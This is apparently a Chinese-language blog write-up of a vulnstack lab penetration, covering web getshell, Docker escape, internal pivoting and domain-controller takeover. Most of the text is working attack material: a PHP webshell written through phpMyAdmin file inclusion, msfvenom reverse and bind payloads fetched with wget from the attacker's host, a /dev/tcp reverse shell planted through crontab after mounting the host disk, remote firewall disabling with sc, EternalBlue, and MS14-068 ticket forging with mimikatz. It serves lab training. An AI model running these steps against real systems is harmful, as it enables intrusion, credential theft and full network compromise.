环境搭建
官网:http://vulnstack.qiyuanxuetang.net/vuln/detail/6/
拓扑图如下,网卡自己配,很简单
然后手动开启docker
cd /home/ubuntu/Desktop/vulhub/struts2/s2-045
sudo docker-compose up -d
cd /home/ubuntu/Desktop/vulhub/tomcat/CVE-2017-12615
sudo docker-compose up -d
cd /home/ubuntu/Desktop/vulhub/phpmyadmin/CVE-2018-12613
sudo docker-compose up -d
环境就配置完成了
外网打点
发现靶机,因为我们之前配环境开口了三个docker
所以端口2001,2002,2003,应该是这个,访问下就知道了
PHPmyAdmin Getshell
2003端口是熟悉的phpmyadmin,我准备这里下手
直接想的利用日志文件来getshell
所以查看一下配置
SHOW VARIABLES LIKE '%general%'
发现没开日志读写,就手动打开日志读写功能就好
发现不行,会报错提示需要超级管理员的权限
回头一看,phpmyadmin的版本为4.8.1
然后去找一下 发现这个版本存在session包含漏洞
所以来利用:https://blog.csdn.net/xuandao_ahfengren/article/details/106688367
然后利用成功,来试试直接写马,发现不行,因为被序列化了
但是我们知道现在不是超级管理员的权限,就算拿到shell都还需要提权的
再试试写文件呢,因为这里的secure_file_priv为null,而且不是root权限所以不考虑直接写但是phpinfo里面CONTEXT_DOCUMENT_ROOT参数查看到了web路径为/var/www/html/
,那我就利用php里面的file_put_contents函数在根目录去写一个木马文件:
select "<?php file_put_contents('/var/www/html/shell.php','<?php @eval($_POST[m1]);?>')?>";
访问一下包含session页面去执行这个php代码,再用蚁剑去连接就成功了
Struts2 getshell
因为不太会Java ,直接利用工具
链接:https://pan.baidu.com/s/1sd8kjgMI1muDwW5yHruY-A?pwd=m1ka
提取码:m1ka
--来自百度网盘超级会员V3的分享
有s2-046的漏洞
漏洞验证
然后发现权限还是root,进行文件上传,但是直接利用这个工具上传的jsp木马访问不了,所以直接攻击机起给web服务
python -m SimpleHTTPServer 8080
因为是linux系统,所以需要elf文件
直接生成一个木马文件
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.157.4 LPORT=4444 -f elf > shell.elf
然后使用工具下载下来就行
wget http://192.168.157.4:8080/shell.elf
然后查看下载结果
然后设置msf监听
use exploit/multi/handler #使用监听模块
set payload linux/x64/meterpreter/reverse_tcp
set lhost 192.168.157.4
set lport 4444
exploit
chmod +x shell.elf
./shell.elf
Apache Tomcat/8.5.19 Getshell
就差把版本号写脸上了,直接去找对应漏洞就行
https://www.wangan.com/articles/2739
直接写马就行
然后蚁剑连接就行
也是root权限,同样可以弹个msf或者cs
内网渗透
Doker逃逸
接上面得到msf的会话了
但是进行信息收集的时候发现ifconfig不能执行
我就觉得会不会是在其他容器里面
然后看见是在docker环境里
所以想办法来docker逃逸
找了一篇比较好的文章:https://www.freebuf.com/articles/container/242763.html
尝试了脏牛提权docker逃逸,发现并不能成功
然后再尝试特权模式逃逸
漏洞原理
使用特权模式启动容器,可以获取大量设备文件访问权限。因为当管理员执行docker run —privileged时,Docker容器将被允许访问主机上的所有设备,并可以执行mount命令进行挂载。
fdisk -l#查看磁盘文件
新建一个m1目录
将/dev/sda1也就是磁盘挂在到这个目录下,就能通过这个目录访问真机上的文件了,成功逃逸
mkdir /m1
mount /dev/sda1 /m1
ls /m1
然后写一个定时任务来弹真机的shell
echo "/bin/bash -i >& bash -i >& /dev/tcp/192.168.157.4/9999 0>&1" >> /m1/tmp/shell.sh
chmod +x /m1/tmp/shell.sh
cat /m1/tmp/shell.sh
echo '/2 * root bash /tmp/shell.sh' > /m1/etc/crontab
然后去监听就行
成功逃逸
内网穿透
用同样的方式得到shell
现在拿到真机的shell了
发现很多网卡,排除docker容器的,然后直接扫描内网主机就好
for k in $( seq 1 255);do ping -c 1 192.168.183.$k|grep "ttl"|awk -F "[ :]+" '{print $4}'; done
发现又两个存活主机
现在就是加个路由访问内网了
使用ew进行内网穿透
攻击机上
./ew_for_linux64 -s rcsocks -l 1080 -e 1234
然后centos上直接
wget http://192.168.157.4:8080/ew_for_linux64
chmod +x ew_for_linux64
./ew_for_linux64 -s rssocks -d 192.168.157.4 -e 1234
然后配置 proxychains,进去注释掉 strict_chain,将 socks5 服务器指向 127.0.0.1:1080,
之后便可以使用 proxychains 将我们的程序代理进内网了。
直接扫描内网主机开放端口
proxychains nmap -Pn -sT -sV 192.168.183.130 192.168.93.20 192.168.183.25 -F
太慢的话可以扫描一些特定端口
proxychains4 nmap -Pn -sT -T4 -p21,22,135,445,80,53,3389,8080,1433,8080 192.168.183.25
proxychains4 nmap -Pn -sT -T4 -p21,22,135,445,80,53,3389,8080,1433,8080 192.168.183.130
发现都开着445端口
所以考虑使用永痕之蓝攻击
auxiliary/scanner/smb/smb_version
发现确实可以利用,记得关闭本机的火绒或者其他杀软!
exploit/windows/smb/ms17_010_eternalblue
set rhosts 192.168.183.130
setg Proxies socks5:127.0.0.1:1080
set payload windows/x64/meterpreter/bind_tcp
如果发现不稳定就加路由
域控主机打不通,试试win7
成功上线win7,现在就是需要横向移动拿域控了
内网信息收集
发现当前用户是system权限,但是为了信息收集方便些,降权为普通用户(域用户才能执行域命令
getuid //查看当前token
use incognito //加载incognito
list_tokens -u //列出accesstoken
impersonate_token "DEMO\douser" //模拟"DEMO\douser”用户
rev2self //返回之前的accesstoken权限
![OLK2J4OG8XRO27QDSDN.png][33]
查看网卡信息
ipconfig /all
查看域内主机
net view /domain:demo
查看域控
net group "domain controllers" /domain
域内用户
net group "domain users" /domain
然后查询域控ip
然后就是进攻域控
whoami /user
demo\douser S-1-5-21-979886063-1111900045-1414766810-1107
先抓取一下明文密码
得到域用户douser/Dotest123
发现远程窗口登录不行
然后进行system权限上传mimikatz.exe
横向移动
我们拿到了普通域用户的所有信息,可以利用MS14-068,但是条件不知道满足不,那就来试试参考链接:https://www.cnblogs.com/feizianquan/p/11760564.html
生成票据
github地址:https://github.com/abatchy17/WindowsExploits/tree/master
system权限上传ms14-068.exe
遇见乱码chcp 65001
但是直接上传导致运行不了ms14-068
重新传到C:/目录下成功运行
MS14-068.exe -u douser@demo.com -p Dotest123 -s S-1-5-21-979886063-1111900045-1414766810-1107 -d 192.168.183.130
ms-14-068.exe -u 域用户@域控名 -p 域用户密码 -s 域用户sid -d 域ip
如图成功生成票据文件TGT_douser@DEMO.com.ccache
导入票据
利用mimikatz注入票据,将票据伪造到当前内存中,伪造凭证,如果成功则拥有域管理权限,可任意访问域中所有机器
kerberos::purge //清空当前机器中所有凭证
kerberos::list //查看当前机器凭证
kerberos::ptc TGT_douser@DEMO.com.ccache //将票据注入到内存中
访问域控
dir \\192.168.183.130\C$
dir \\WIN-ENS2VR5TR3N\C$
成功访问,现在就是上传正向木马来得到域控的shell了
先用sc创建任务把防火墙远程关掉
sc \\WIN-ENS2VR5TR3N create unablefirewall binpath= "netsh advfirewall set allprofiles state off"
sc \\WIN-ENS2VR5TR3N start unablefirewall
写个正向木马
msfvenom -p windows/x64/meterpreter/bind_tcp LPORT=10001 -f exe -o bind.exe
先上传到win7再copy到域控主机
然后就是考虑域控怎么启动这个木马程序了
考虑写定时任务,这里还是sc写
sc \\WIN-ENS2VR5TR3N create Startup binpath= "C:\bind.exe"
sc \\WIN-ENS2VR5TR3N start Startup
然后设置监听
use exploit/multi/handler
set payload windows/meterpreter/bind_tcp
set AutorunScript post/windows/manage/migrate
set rhost 192.168.183.130
set lport 10001
exploit
因为我直接用了AutorunScript后渗透进程迁移的模块,所以不存在不稳定的情况,拿下
结语
这个渗透靶场陆陆续续打了很久,因为我下来看了几本渗透的书籍,补了一下理论知识,但是懒,不想系统的整理出来,后续要快一点了,免杀也得搞搞啦,cs也要开始利用了,不说了睡觉 hh
声明:本文仅限技术研究与讨论,严禁用于非法用途,否则产生的一切后果自行承担! 本网站采用BY-NC-SA协议进行授权!转载请注明文章来源! 图片失效请留言通知博主及时更改!
tql